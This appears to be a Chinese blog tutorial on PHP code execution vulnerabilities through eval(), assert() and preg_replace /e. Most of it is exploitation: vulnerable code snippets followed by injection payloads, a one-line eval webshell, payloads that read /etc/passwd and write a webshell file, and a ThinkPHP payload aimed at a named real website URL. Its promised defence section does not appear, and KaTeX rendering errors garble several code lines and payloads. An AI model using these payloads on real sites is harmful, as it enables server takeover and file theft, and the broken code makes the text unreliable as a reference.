例子 PHP CMS中 settings的内容： array

最新推荐文章于 2021-07-22 11:10:47 发布

sturgsslecofwe

最新推荐文章于 2021-07-22 11:10:47 发布

阅读量238

点赞数

内容
1、代码执行漏洞的概述
2、代码执行漏洞的危害
3、代码执行漏洞的利用
4、代码执行漏洞的防御

背景介绍
在Web应用中有时候程序员为了考虑灵活性、简洁性，会在代码调用eval函数(PHP函数)去处理。比如当应用在调用一些能将字符串转化成代码的函数时，没有考虑用户是否能控制这个字符串，将造成代码执行漏洞。

例子
PHP CMS中 settings的内容：

array(
‘upload_maxsize’ => ‘2048’,
‘upload_allowext’ => ‘jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf’,
‘watermark_enable’ => ‘1’,
‘watermark_minwidth’ => ‘300’,
‘watermark_minheight’ => ‘300’,
‘watermark_img’ => ‘/statics/images/water/mark.png’,
‘watermark_pct’ => ‘85’,
‘watermark_quality’ => ‘80’,
‘watermark_pos’ => ‘9’ ,
)
1
2
3
4
5
6
7
8
9
10
11
PHP CMS中很常用的string2array函数：

function string2array( $KaTeX parse error: Expected '}', got 'EOF' at end of input: data){ if($ data == ‘’){
return array();
}
eval("$array = $data;")
return $array;
}
1
2
3
4
5
6
7
PHP CMS中很常用的string2array函数：

<?php $data = "array('a'=>'aaaa', 'b'=>'222222', 'c'=>'',111=>phpinfo(),222=>'22' )"; eval("\$arr = $data;"); ?>

1
2
3
4
5
6
7
其实settings是一个字符串形式的“PHP数组”，这里必须使用eval函数才能将“字符串”变成一个真正的数组。

漏洞危害

执行任意代码
向网站写WebShell
控制整个网站甚至服务器
相关函数

eval()
assert()
preg_replace() + /e 模式
create_function()
array_map()
call_user_func()/call_user_func_array()
array_filter()
usort(),uasort()
file_put_contents()
fputs()
$_GET[‘a’]($ _GET[‘b’]);//a=assert&b=phpinfo()
think2.1
//

http://www.ksftea.com/index.php/module/action/param1/ $KaTeX parse error: Expected '}', got 'EOF' at end of input: {@print(eval($ _POST[1]))}

eval()函数漏洞利用_1

<?php $data = $_GET['data']; eval("\$ret = $data;"); echo $ret; ?>

1
2
3
4
5
/?data=phpinfo()
/?data=1;phpinfo()
/?data=${phpinfo()}
eval()函数漏洞利用_2

<?php //关闭魔术方法 $data=$_GET[‘data’]; eval(“\$ret = strtolower(‘$data’);”); echo $ret; ?>

1
2
3
4
5
6
/?data=1’);phpinfo();//
eval()函数漏洞利用_3

<?php $data=$_GET[‘data’]; eval(“\$ret = strtolower(\”$data\”);”); echo $ret; ?>

1
2
3
4
5
/?data=${phpinfo()} （php版本5.5及以上）
/?data=“);phpinfo();//
preg_replace+/e利用

<?php $data=$_GET[‘data’]; echo $data; preg_replace(‘/(.*)<\/data>/e’,‘$ret=“\\1”;’, $data); echo $ret; ?>

1
2
3
4
5
6
php版本在5.5以上

/?data= ${phpinfo()} http://localhost/baji/vul/eval/e1.php?data=<data>$ {assert( $KaTeX parse error: Expected 'EOF', got '}' at position 10: _POST[1])}̲</data> 漏洞利用 {$ {@eval( $KaTeX parse error: Expected 'EOF', got '}' at position 10: _POST[1])}̲} 一句话 {$ {exit(print(getcwd()))}} 获取当前工作路径
{ $KaTeX parse error: Expected '}', got 'EOF' at end of input: \dotse_get_contents($ _POST[f])))}}
读文件 f=/etc/passwd
{ $KaTeX parse error: Expected '}', got 'EOF' at end of input: \dotse_put_contents($ _POST[f], $_POST[d])))}}
写webshell f=1.php&d=1111111